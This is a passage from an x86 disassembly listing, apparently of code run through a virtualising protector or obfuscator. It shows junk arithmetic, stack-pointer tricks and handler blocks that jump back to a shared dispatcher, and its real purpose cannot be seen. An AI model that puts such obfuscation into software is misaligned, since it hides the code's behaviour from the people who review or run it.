		xor	ebp, ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+10h+var_12+2]
		pop	esp
		mov	[esp+0Ch+var_E+2], esi
		mov	esi, 2266A84h
		and	ebp, esi
		pop	esi
		xor	ebp, 4BFFBh
		mov	ecx, ebp
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		and	eax, ecx
		jmp	loc_5976D9
; ---------------------------------------------------------------------------


loc_5A115D:				; CODE XREF: sub_57DD3A+13B19j
		add	eax, ecx
		push	ecx
		push	eax
		jmp	loc_597B78
; ---------------------------------------------------------------------------


loc_5A1166:				; CODE XREF: sub_57DD3A+154CBj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		xor	dword ptr [esp+0], 42BA720Ah
		jmp	loc_59AA65
; ---------------------------------------------------------------------------


loc_5A118A:				; CODE XREF: sub_57DD3A+207BEj
		sub	ebx, eax
		pop	eax
		and	ecx, ebx
		pop	ebx
		jmp	loc_5976BC
; ---------------------------------------------------------------------------


loc_5A1195:				; CODE XREF: sub_57DD3A+19C4Ej
		pop	eax
		add	esi, ebx
		mov	ebx, [esp+68h+var_68]
		push	edx
		mov	edx, esp
		jmp	loc_598044
; ---------------------------------------------------------------------------


loc_5A11A3:				; CODE XREF: sub_57DD3A+12990j
		pop	edi
		and	edi, 709A59BEh
		push	eax
		jmp	loc_58F131
; ---------------------------------------------------------------------------


loc_5A11B0:				; CODE XREF: sub_57DD3A+1B4E1j
		mov	eax, 6618590Dh
		sub	edx, eax
		pop	eax
		add	edx, eax
		push	ebp
		mov	ebp, 6618590Dh
		add	edx, ebp
		jmp	loc_58EC98
; ---------------------------------------------------------------------------


loc_5A11C7:				; CODE XREF: sub_57DD3A+1C169j
		sub	eax, 0D4AE48B1h
		add	edx, eax
		mov	eax, [esp+40h+var_42+2]
		jmp	loc_58EEFE
; ---------------------------------------------------------------------------


loc_5A11D6:				; CODE XREF: sub_57DD3A+15C72j
		push	479Bh
		mov	[esp+8+var_8], ebx
		mov	eax, [esp+8+var_8]
		add	esp, 4
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		pop	esi
		add	ebp, 41274426h
		jmp	loc_599950
; ---------------------------------------------------------------------------


loc_5A11F9:				; CODE XREF: sub_57DD3A+2332Bj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A11FE:				; CODE XREF: sub_57DD3A+22DB6j
		add	ah, 0D8h
		add	bl, ah
		pop	eax
		jmp	loc_59C44A
; ---------------------------------------------------------------------------


loc_5A1209:				; CODE XREF: sub_57DD3A+17160j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A120E:				; CODE XREF: sub_57DD3A+212A6j
		mov	ecx, 1F312819h
		or	ecx, 6A3049E7h
		jmp	loc_59D7DF
; ---------------------------------------------------------------------------


loc_5A121E:				; CODE XREF: sub_57DD3A+1BC09j
		push	[esp+60h+var_5C]
		jmp	loc_593CCF
; ---------------------------------------------------------------------------


loc_5A1227:				; CODE XREF: sub_57DD3A+1723Ej
		neg	ecx
		not	ecx
		jmp	loc_593915
; ---------------------------------------------------------------------------


loc_5A1230:				; CODE XREF: sub_57DD3A+1BDE4j
		pop	esp
		xor	al, bh
		mov	ebx, [esp+0]
		jmp	loc_596C27
; ---------------------------------------------------------------------------


loc_5A123B:				; CODE XREF: sub_57DD3A+1CD1Aj
		mov	esi, 4
		add	edi, 0FA726F6h
		sub	edi, 7A9C72A5h
		add	edi, esi
		add	edi, 7A9C72A5h
		sub	edi, 0FA726F6h
		pop	esi
		jmp	loc_59E30F
; ---------------------------------------------------------------------------


loc_5A1260:				; CODE XREF: sub_57DD3A+1530Fj
		or	edi, 53FC3F82h
		push	esi
		mov	esi, 44F84DBAh
		and	edi, esi
		pop	esi
		add	edi, 0E39C1398h
		add	eax, 4CCD1770h
		jmp	loc_598754
; ---------------------------------------------------------------------------


loc_5A127F:				; CODE XREF: sub_57DD3A+20274j
		push	edx
		mov	edx, 40395871h
		jmp	loc_596AE9
; ---------------------------------------------------------------------------


loc_5A128A:				; CODE XREF: sub_57DD3A+1B7B1j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+54h+var_54]
		pop	esp
		mov	[esp+50h+var_50], ecx
		push	6132h
		mov	[esp+54h+var_54], ebx
		jmp	loc_595E5B
; ---------------------------------------------------------------------------


loc_5A12A7:				; CODE XREF: sub_57DD3A+1BE92j
		xor	ebx, edx
		pop	edx
		shl	ebx, 2
		jmp	loc_58FC3E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+6+var_8+2], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A12C0:				; CODE XREF: sub_57DD3A+21F87j
		and	esi, 724968D4h
		shr	esi, 3
		sub	esi, 0AE4483h
		add	esi, 480045C7h
		mov	ebp, esi
		jmp	loc_599EB9
; ---------------------------------------------------------------------------


loc_5A12DC:				; CODE XREF: sub_57DD3A+1E469j
		push	[esp+58h+var_58]
		push	[esp+5Ch+var_5C]
		mov	eax, [esp+60h+var_60]
		jmp	loc_59C537
; ---------------------------------------------------------------------------


loc_5A12EA:				; CODE XREF: sub_57DD3A+1F97Bj
		pop	ecx
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, esp
		jmp	loc_5A0EF8
; ---------------------------------------------------------------------------


loc_5A12F6:				; CODE XREF: sub_57DD3A+1B657j
		mov	al, 0C2h
		jmp	loc_598813
; ---------------------------------------------------------------------------


loc_5A12FD:				; CODE XREF: sub_57DD3A+1EC53j
		mov	[esp+0Eh+var_E], eax
		mov	eax, 0DC55B6Ch
		add	edi, eax
		jmp	loc_599CC9
; ---------------------------------------------------------------------------


loc_5A130C:				; CODE XREF: sub_57DD3A+1C80Fj
		sub	ecx, 4
		jmp	loc_592755
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+70h+var_70]
		sub	esp, 4
		mov	[esp+74h+var_74], eax
		push	5F1Bh
		mov	[esp+78h+var_78], esp
		jmp	loc_59BBBD
; ---------------------------------------------------------------------------


loc_5A1331:				; CODE XREF: sub_57DD3A+11D60j
		mov	[esp+20h+var_22+2], ebp
		push	[esp+20h+var_1E+2]
		pop	ebp
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	[esp+1Ch+var_1E+2], ecx
		push	ebx
		mov	ebx, 71FC5B3Fh
		mov	ecx, 8E03A4C3h
		add	ecx, ebx
		pop	ebx
		mov	esi, ecx
		pop	ecx
		add	edx, esi
		push	[esp+18h+var_1A+2]
		jmp	loc_59F224
; ---------------------------------------------------------------------------


loc_5A135D:				; CODE XREF: sub_57DD3A+1DA83j
		push	edi
		mov	edi, esp
		push	ecx
		push	eax
		jmp	loc_590655
; ---------------------------------------------------------------------------


loc_5A1367:				; CODE XREF: sub_57DD3A+1D391j
		shr	esi, 5
		jmp	loc_59A455
; ---------------------------------------------------------------------------


loc_5A136F:				; CODE XREF: sub_57DD3A+16E00j
		mov	[esp+7Ah+var_7C+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Ah+var_7C+2]
		jmp	loc_5986B9
; ---------------------------------------------------------------------------


loc_5A1385:				; CODE XREF: sub_57DD3A+17109j
		inc	ecx
		jmp	loc_59EDE5
; ---------------------------------------------------------------------------


loc_5A138B:				; CODE XREF: sub_57DD3A+1A338j
		push	ebp
		push	esi
		mov	esi, 589D6CA1h
		mov	ebp, esi
		push	[esp+66h+var_68+2]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 1389D32Eh
		add	ebp, 102D7F7Dh
		add	ebp, ebx
		sub	ebp, 102D7F7Dh
		pop	ebx
		mov	edx, ebp
		jmp	loc_59A688
; ---------------------------------------------------------------------------


loc_5A13BA:				; CODE XREF: sub_57DD3A+24748j
		add	edi, ebp
		mov	ebp, [esp+62h+var_64+2]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 0A7C721Fh
		xor	edi, 39DC7BEEh
		jmp	loc_58EAD3
; ---------------------------------------------------------------------------


loc_5A13D4:				; CODE XREF: sub_57DD3A+17B12j
		add	esp, 4
		jmp	loc_59FBA6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+76h+var_78+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A13EC:				; CODE XREF: sub_57DD3A+16E87j
		mov	edi, 0A0C54F57h
		jmp	loc_59F504
; ---------------------------------------------------------------------------


loc_5A13F6:				; CODE XREF: sub_57DD3A+1C3ADj
		sub	eax, 3B321091h
		sub	eax, ecx
		add	eax, 3B321091h
		pop	ecx
		push	7A1Dh
		jmp	loc_58FFAB
; ---------------------------------------------------------------------------


loc_5A140D:				; CODE XREF: sub_57DD3A+145C7j
		pop	ebp
		sub	esp, 4
		mov	[esp+56h+var_58+2], ebp
		mov	ebp, 556530D9h
		jmp	loc_59EFBC
; ---------------------------------------------------------------------------


loc_5A141E:				; CODE XREF: sub_57DD3A+20B7Aj
		dec	esi
		sub	esi, 0DB44CB5h
		add	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 173522Ah
		add	edx, ebx
		pop	ebx
		jmp	loc_592900
; ---------------------------------------------------------------------------


loc_5A1436:				; CODE XREF: sub_57DD3A+1E6E6j
		mov	ebp, 1F594F9Dh
		jmp	loc_59D768
; ---------------------------------------------------------------------------
		push	[esp+80h+var_80]
		jmp	loc_5991AC
; ---------------------------------------------------------------------------


loc_5A1448:				; CODE XREF: sub_57DD3A+110ABj
		not	ecx
		push	edx
		mov	edx, 49DC4692h
		inc	edx
		jmp	loc_593824
; ---------------------------------------------------------------------------


loc_5A1456:				; CODE XREF: sub_57DD3A+1FC38j
		push	[esp+32h+var_32]
		jmp	loc_599100
; ---------------------------------------------------------------------------


loc_5A145E:				; CODE XREF: sub_57DD3A+1835Cj
		sub	cl, bh
		jmp	loc_59E595
; ---------------------------------------------------------------------------


loc_5A1465:				; CODE XREF: sub_57DD3A+1A2EEj
		xor	eax, [esp+58h+var_58]
		xor	[esp+58h+var_58], eax
		xor	eax, [esp+58h+var_58]
		jmp	loc_5979AA
; ---------------------------------------------------------------------------


loc_5A1473:				; CODE XREF: sub_57DD3A+1B7A0j
		add	ebp, 74CA771Dh
		add	ebp, ecx
		jmp	loc_5968DC
; ---------------------------------------------------------------------------


loc_5A1480:				; CODE XREF: sub_57DD3A+187BFj
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_596781
; ---------------------------------------------------------------------------


loc_5A148F:				; CODE XREF: sub_57DD3A+1FAEDj
		mov	edi, 714C2240h
		jmp	loc_5912AB
; ---------------------------------------------------------------------------


loc_5A1499:				; CODE XREF: sub_57DD3A+1E4E9j
		add	edx, eax
		push	1006h
		mov	[esp+46h+var_46], eax
		jmp	loc_5951C3
; ---------------------------------------------------------------------------


loc_5A14A8:				; CODE XREF: sub_57DD3A+23916j
		push	ebx
		mov	ebx, 30286467h
		mov	eax, ebx
		mov	ebx, [esp+4Ah+var_4C+2]
		jmp	loc_590181
; ---------------------------------------------------------------------------


loc_5A14B8:				; CODE XREF: sub_57DD3A+21741j
		mov	ecx, esp
		jmp	loc_5930E0
; ---------------------------------------------------------------------------


loc_5A14BF:				; CODE XREF: sub_57DD3A+11EE2j
		sub	edx, 7756554Fh
		push	[esp+18h+var_1A+2]
		pop	esi
		add	esp, 4
		add	eax, edx
		pop	edx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		xor	[edi+24h], ecx
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		xor	ecx, [eax]
		pop	eax
		pop	ebx
		jmp	loc_5A1B86
; ---------------------------------------------------------------------------


loc_5A14F4:				; CODE XREF: sub_57DD3A+1AE5Fj
		pop	esi
		jmp	loc_59EC60
; ---------------------------------------------------------------------------


loc_5A14FA:				; CODE XREF: sub_57DD3A+1F36Aj
		push	22E77263h
		pop	ebx
		not	ebx
		add	ebx, 7847AF22h
		mov	ecx, ebx
		pop	ebx
		add	ecx, 1E0912BDh
		add	ecx, 603226F1h
		jmp	loc_591849
; ---------------------------------------------------------------------------


loc_5A151C:				; CODE XREF: sub_57DD3A+24E10j
		sub	ebx, eax
		jmp	loc_5A22A8
; ---------------------------------------------------------------------------


loc_5A1523:				; CODE XREF: sub_57DD3A+15F6Bj
		add	[esp+24h+var_26+2], 4
		pop	[esp+24h+var_26+2]
		add	[esp+20h+var_22+2], 4
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		add	ebp, 4
		push	70CEh
		mov	[esp+20h+var_22+2], edi
		push	eax
		push	edi
		push	ebp
		mov	ebp, 25D72F74h
		mov	edi, 0DF051214h
		add	edi, ebp
		pop	ebp
		dec	edi
		sub	edi, 0EA9BEE95h
		mov	eax, edi
		jmp	loc_5A285E
; ---------------------------------------------------------------------------


loc_5A1563:				; CODE XREF: sub_57DD3A+18CCEj
		xor	ebp, [esp+2Ch+var_2E+2]
		pop	esp
		xor	byte ptr [esp+28h+var_2A+2], al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A1570:				; CODE XREF: sub_57DD3A+22E70j
		and	esi, ecx
		pop	ecx
		jmp	loc_59002C
; ---------------------------------------------------------------------------


loc_5A1578:				; CODE XREF: sub_57DD3A+18391j
		shl	ecx, 3
		shr	ecx, 2
		and	ecx, 3BEE023Ah
		jmp	loc_59C5CF
; ---------------------------------------------------------------------------


loc_5A1589:				; CODE XREF: sub_57DD3A+24939j
		add	edi, 5A1DDDFCh
		xor	ebx, edi
		mov	edi, [esp+58h+var_58]
		jmp	loc_59709D
; ---------------------------------------------------------------------------


loc_5A1599:				; CODE XREF: sub_57DD3A+147ADj
		pop	ecx
		jmp	loc_59C832
; ---------------------------------------------------------------------------


loc_5A159F:				; CODE XREF: sub_57DD3A+210CBj
		shl	bh, 1
		jmp	loc_593817
; ---------------------------------------------------------------------------


loc_5A15A6:				; CODE XREF: sub_57DD3A+11F81j
		mov	esp, [esp+14h+var_16+2]
		push	3E6Ch
		jmp	loc_58F44D
; ---------------------------------------------------------------------------


loc_5A15B3:				; CODE XREF: sub_57DD3A+169A9j
		add	esp, 4
		sub	ebx, 3BE45DC3h
		pop	eax
		push	eax
		jmp	loc_58EC51
; ---------------------------------------------------------------------------


loc_5A15C6:				; CODE XREF: sub_57DD3A+1F98Aj
		add	esi, 6B7E6C85h
		neg	esi
		not	esi
		shl	esi, 3
		or	esi, 24850C62h
		xor	esi, 5EC56CD7h
		xor	ebp, esi
		pop	esi
		jmp	loc_59C287
; ---------------------------------------------------------------------------


loc_5A15E7:				; CODE XREF: sub_57DD3A+21D5Ej
		mov	esi, [esp+12h+var_12]
		add	esp, 4
		push	7173h
		mov	[esp+12h+var_12], edx
		push	800000h
		mov	edx, [esp+16h+var_16]
		push	5710h
		mov	[esp+1Ah+var_1A], ebp
		push	esp
		jmp	loc_59D657
; ---------------------------------------------------------------------------


loc_5A160B:				; CODE XREF: sub_57DD3A+177DAj
		pop	ecx
		sub	ecx, esi
		pop	esi
		add	ebp, 55747466h
		jmp	loc_596B7F
; ---------------------------------------------------------------------------


loc_5A161A:				; CODE XREF: sub_57DD3A+22081j
		pop	esp
		push	edx
		mov	edx, 318E07C4h
		shl	edx, 2
		sub	edx, 0C6381F0Ch
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp+32h+var_32]
		xor	[esp+32h+var_32], ebp
		jmp	loc_592D97
; ---------------------------------------------------------------------------


loc_5A1638:				; CODE XREF: sub_57DD3A+1EB5Dj
		add	ebp, 1A076909h
		jmp	loc_59F8EC
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ah+var_1A]
		push	ebp
		jmp	loc_594CC7
; ---------------------------------------------------------------------------


loc_5A164D:				; CODE XREF: sub_57DD3A+20540j
		add	esi, edi
		push	eax
		jmp	loc_5A14A8
; ---------------------------------------------------------------------------


loc_5A1655:				; CODE XREF: sub_57DD3A+229FCj
		add	edx, 4
		push	ebx
		mov	ebx, 7B6F3130h
		jmp	loc_58F53A
; ---------------------------------------------------------------------------


loc_5A1666:				; CODE XREF: sub_57DD3A+1A810j
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 565F5E50h
		not	ebx
		or	ebx, 733F6D08h
		and	ebx, 54926E9Fh
		jmp	loc_5A21E9
; ---------------------------------------------------------------------------


loc_5A1681:				; CODE XREF: sub_57DD3A+117D5j
		add	esi, eax
		jmp	loc_5A0E58
; ---------------------------------------------------------------------------


loc_5A1688:				; CODE XREF: sub_57DD3A+231D4j
		mov	[esp-0Ah+arg_6], eax
		push	ecx
		push	1B5B0ADDh
		pop	ecx
		jmp	loc_594EC9
; ---------------------------------------------------------------------------


loc_5A1697:				; CODE XREF: sub_57DD3A+12436j
		add	esi, 40DD4350h
		push	3437h
		jmp	loc_593248
; ---------------------------------------------------------------------------


loc_5A16A7:				; CODE XREF: sub_57DD3A+1E2F9j
		push	[esp+54h+var_50]
		pop	esi
		pop	[esp+54h+var_54]
		push	esi
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------


loc_5A16B5:				; CODE XREF: sub_57DD3A+1DFD3j
		mov	[esp+0], ebx
		mov	ebx, 4
		jmp	loc_59D0C3
; ---------------------------------------------------------------------------


loc_5A16C2:				; CODE XREF: sub_57DD3A+172EAj
		add	esi, 2
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_5962A5
; ---------------------------------------------------------------------------


loc_5A16CE:				; CODE XREF: sub_57DD3A+25301j
		mov	[esp+0], eax
		mov	eax, 3D847867h
		jmp	loc_5A0BFA
; ---------------------------------------------------------------------------


loc_5A16DB:				; CODE XREF: sub_57DD3A+20A98j
		xor	eax, 4591D1C0h
		sub	edi, eax
		pop	eax
		sub	edi, ebp
		add	edi, 7E3A3929h
		mov	ebp, [esp+16h+var_16]
		add	esp, 4
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+12h+var_12], edi
		mov	edi, 24FD1198h
		sub	edi, 571B52D0h
		push	edi
		jmp	loc_59F055
; ---------------------------------------------------------------------------


loc_5A1711:				; DATA XREF: sub_57DD3A+105CEo
		mov	ax, word ptr [esp+16h+var_16]
		push	736Dh
		mov	[esp+1Ah+var_1A], edx
		push	esp
		pop	edx
		push	494Eh
		mov	[esp+1Eh+var_1E], ecx
		sub	esp, 4
		mov	[esp+22h+var_22], edx
		mov	edx, 663C6A7Bh
		inc	edx
		add	edx, 0E996A542h
		mov	ecx, 4FD30FC2h
		jmp	loc_5977A5
; ---------------------------------------------------------------------------


loc_5A1743:				; CODE XREF: sub_57DD3A+1CD90j
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], esi
		mov	esi, 4
		sub	edi, 5BE44787h
		add	edi, esi
		push	7091h
		mov	[esp+40h+var_42+2], ebx
		mov	ebx, 5BE44787h
		add	edi, ebx
		pop	ebx
		mov	esi, [esp+3Ch+var_3E+2]
		add	esp, 4
		xor	edi, [esp+38h+var_3A+2]
		jmp	loc_598342
; ---------------------------------------------------------------------------


loc_5A177A:				; CODE XREF: sub_57DD3A+1D96Cj
		add	esp, 4
		jmp	loc_590809
; ---------------------------------------------------------------------------


loc_5A1785:				; CODE XREF: sub_57DD3A+11C17j
		mov	edi, 4
		add	edx, edi
		push	[esp+3Eh+var_3E]
		pop	edi
		push	ebp
		jmp	loc_5974D5
; ---------------------------------------------------------------------------


loc_5A1796:				; CODE XREF: sub_57DD3A+20965j
		add	esp, 4
		pop	[esp+1Eh+var_1E]
		mov	esp, [esp+1Ah+var_1A]
		mov	[esp+1Ah+var_1A], eax
		pop	eax
		jmp	loc_59BC13
; ---------------------------------------------------------------------------


loc_5A17AB:				; CODE XREF: sub_57DD3A+1C785j
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+64h+var_64]
		sub	esp, 4
		mov	[esp+68h+var_68], eax
		push	esp
		mov	eax, [esp+6Ch+var_6C]
		push	6210h
		mov	[esp+70h+var_70], ebp
		push	esp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		jmp	loc_59F686
; ---------------------------------------------------------------------------


loc_5A17D2:				; CODE XREF: sub_57DD3A+1FD31j
		pop	esi
		pop	ecx
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		mov	ax, word ptr [esp-4+arg_0]
		push	ebp
		push	esp
		jmp	loc_595589
; ---------------------------------------------------------------------------
		push	3A7Dh
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		add	ecx, 4
		push	666Dh
		mov	[esp+0Ch+var_E+2], esi
		push	eax
		mov	eax, 7F5D6056h
		mov	esi, 80A29FAEh
		add	esi, eax
		jmp	loc_5A1E0D
; ---------------------------------------------------------------------------


loc_5A1813:				; CODE XREF: sub_57DD3A+11A56j
		mov	dh, 0B9h
		push	ecx
		mov	ch, 95h
		xor	dh, ch
		jmp	loc_59B9E9
; ---------------------------------------------------------------------------


loc_5A181F:				; CODE XREF: sub_57DD3A+1A584j
		mov	ebp, [esp+4Ah+var_4C+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4Eh+var_50+2]
		pop	esp
		sub	ebx, 4
		xchg	ebx, [esp+4Ah+var_4C+2]
		mov	esp, [esp+4Ah+var_4C+2]
		mov	[esp+4Ah+var_4C+2], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], edx
		mov	edx, 1986413h
		neg	edx
		shl	edx, 8
		inc	edx
		push	ebx
		mov	ebx, 434C2307h
		xor	ebx, 24D7CE02h
		xor	edx, ebx
		jmp	loc_5A2588
; ---------------------------------------------------------------------------


loc_5A186A:				; CODE XREF: sub_57DD3A+1F0C1j
		mov	esi, 2E6F32B6h
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 24453AD6h
		add	ecx, edi
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		mov	ebp, [esp+3Ch+var_3E+2]
		add	esp, 4
		push	ecx
		jmp	loc_59E698
; ---------------------------------------------------------------------------


loc_5A1892:				; CODE XREF: sub_57DD3A+13B9Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+26h+var_26]
		pop	esp
		shr	ecx, 6
		shr	ecx, 5
		neg	ecx
		jmp	loc_59967D
; ---------------------------------------------------------------------------


loc_5A18AF:				; CODE XREF: sub_57DD3A+1098Cj
		or	ebp, 1B2D36BDh
		and	ebp, 346F5DD5h
		sub	ebp, 306D55D1h
		jmp	loc_59FEC7
; ---------------------------------------------------------------------------


loc_5A18C6:				; CODE XREF: sub_57DD3A+1E4FEj
		sub	edx, 5F52798Bh
		add	edx, ecx
		add	edx, 5F52798Bh
		mov	ecx, [esp+60h+var_60]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 35937477h
		jmp	loc_597BC3
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_5929D8
; ---------------------------------------------------------------------------


loc_5A18EB:				; CODE XREF: sub_57DD3A+22CB0j
		sub	eax, 36EC2C48h
		push	edx
		mov	edx, 1616A06h
		jmp	loc_59D28E
; ---------------------------------------------------------------------------


loc_5A18FB:				; CODE XREF: sub_57DD3A+2509Cj
		sub	al, ch
		push	small 7D4Fh
		mov	word ptr [esp+8Ah+var_8C+2], bx
		mov	bl, 0A6h
		dec	bl
		add	bl, 0CFh
		not	bl
		xor	bl, 46h
		add	al, bl
		pop	bx
		mov	cx, word ptr [esp+88h+var_88]
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+90h+var_90], ebx
		mov	ebx, 4
		jmp	loc_5960FC
; ---------------------------------------------------------------------------


loc_5A192C:				; CODE XREF: sub_57DD3A+24EA3j
		pop	ecx
		sub	esi, 0FFFFFFFFh
		jmp	loc_58E51C
; ---------------------------------------------------------------------------


loc_5A1938:				; CODE XREF: sub_57DD3A+13CDAj
		dec	esi
		xor	esi, 0A14A586h
		sub	edi, 101024EBh
		sub	edi, esi
		jmp	loc_59C824
; ---------------------------------------------------------------------------


loc_5A194C:				; CODE XREF: sub_57DD3A+1839Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+5Ch+var_5C]
		jmp	loc_59DEDE
; ---------------------------------------------------------------------------


loc_5A195F:				; CODE XREF: sub_57DD3A+1681Aj
		not	ebx
		add	ebx, 32AF233Dh
		add	edi, 5662334Ah
		add	edi, ebx
		jmp	loc_59C8E0
; ---------------------------------------------------------------------------


loc_5A1974:				; CODE XREF: sub_57DD3A+1E339j
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+7Ch+var_7C]
		pop	esp


loc_5A1988:				; CODE XREF: sub_57DD3A+1322Dj
		sub	esp, 4
		jmp	loc_591860
; ---------------------------------------------------------------------------


loc_5A1993:				; CODE XREF: sub_57DD3A+1BCCAj
		pop	esi
		jmp	loc_59E8CB
; ---------------------------------------------------------------------------


loc_5A1999:				; CODE XREF: sub_57DD3A+22D5Bj
		sub	esp, 4
		jmp	loc_5958BA
; ---------------------------------------------------------------------------


loc_5A19A1:				; CODE XREF: sub_57DD3A+24CEBj
		push	ebx
		mov	ebx, 5E461D02h
		not	ebx
		xor	ebx, 0A372CC91h
		jmp	loc_591472
; ---------------------------------------------------------------------------


loc_5A19B4:				; CODE XREF: sub_57DD3A+20608j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+60h+var_60]
		jmp	loc_593581
; ---------------------------------------------------------------------------


loc_5A19C8:				; CODE XREF: sub_57DD3A+194EDj
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 1F720596h
		not	ebx
		dec	ebx
		dec	ebx
		xor	ebx, 0E08DFA63h
		add	ecx, ebx
		mov	ebx, [esp+88h+var_88]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A0781
; ---------------------------------------------------------------------------


loc_5A19ED:				; CODE XREF: sub_57DD3A+142CDj
		add	ecx, 2
		xor	ecx, [esp+0]
		jmp	loc_5958F6
; ---------------------------------------------------------------------------


loc_5A19FB:				; CODE XREF: sub_57DD3A+10D23j
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_594EA6
; ---------------------------------------------------------------------------


loc_5A1A07:				; CODE XREF: sub_57DD3A+20508j
		pop	ebp
		add	esp, 4
		xor	ecx, [esp+0Eh+var_E]
		xor	[esp+0Eh+var_E], ecx
		xor	ecx, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		sub	esp, 4
		mov	[esp+12h+var_12], edx
		push	14C2h
		mov	[esp+16h+var_16], eax
		pop	edx
		sub	esp, 4
		mov	[esp+16h+var_16], ebx
		push	63A2h
		mov	[esp+1Ah+var_1A], ebp
		jmp	loc_58EE28
; ---------------------------------------------------------------------------


loc_5A1A3F:				; CODE XREF: sub_57DD3A+24C6Fj
		push	1C9Dh
		mov	[esp+1Eh+var_1E], esi
		push	esp
		pop	esi
		push	edx
		push	62C85BD4h
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		shl	edx, 7
		push	ebx
		jmp	loc_59177E
; ---------------------------------------------------------------------------


loc_5A1A5E:				; CODE XREF: sub_57DD3A+1D697j
		add	ebp, 0A1CFE07Ch
		add	ecx, ebp
		jmp	loc_59132D
; ---------------------------------------------------------------------------


loc_5A1A6B:				; CODE XREF: sub_57DD3A+21DB6j
		sub	eax, 5BED2903h
		pop	ebx
		add	eax, esi
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		mov	ebp, 4F6C127Ch
		jmp	loc_5927DC
; ---------------------------------------------------------------------------


loc_5A1A83:				; CODE XREF: sub_57DD3A+1D301j
		sub	edx, 4
		xor	edx, [esp+12h+var_12]
		xor	[esp+12h+var_12], edx
		xor	edx, [esp+12h+var_12]
		pop	esp
		mov	[esp+0Eh+var_E], edx
		push	esp
		mov	edx, [esp+12h+var_12]
		add	esp, 4
		add	edx, 4
		jmp	loc_597208
; ---------------------------------------------------------------------------


loc_5A1AA8:				; CODE XREF: sub_57DD3A+12254j
		xor	dh, al
		pop	eax
		add	bl, dh
		mov	edx, [esp+4Ch+var_4C]
		add	esp, 4
		push	59A5h
		mov	[esp+4Ch+var_4C], edx
		push	ebx
		mov	ebx, 2BB242BEh
		mov	edx, 0D44DBD7Ah
		sub	edx, 22543AB9h
		add	edx, ebx
		add	edx, 22543AB9h
		pop	ebx
		add	edx, edi
		push	ecx
		push	0
		pop	ecx
		push	edx
		mov	edx, 61C454EEh
		jmp	loc_58F551
; ---------------------------------------------------------------------------


loc_5A1AEC:				; CODE XREF: sub_57DD3A+20E9Aj
		pop	esi
		jmp	loc_59D638
; ---------------------------------------------------------------------------


loc_5A1AF2:				; CODE XREF: sub_57DD3A+1AE16j
		sub	esp, 4
		mov	[esp+42h+var_42], edi
		jmp	loc_597392
; ---------------------------------------------------------------------------


loc_5A1B00:				; CODE XREF: sub_57DD3A+19B9Bj
		pop	ebp
		sub	esp, 4
		mov	[esp+50h+var_50], ecx
		jmp	loc_58F560
; ---------------------------------------------------------------------------


loc_5A1B0F:				; CODE XREF: sub_57DD3A+13A14j
		add	edx, 66822774h
		add	edx, edi
		jmp	loc_59BBFA
; ---------------------------------------------------------------------------


loc_5A1B1C:				; CODE XREF: sub_57DD3A+16808j
		add	ebx, edx
		mov	edx, [esp+0]
		jmp	loc_59D05E
; ---------------------------------------------------------------------------
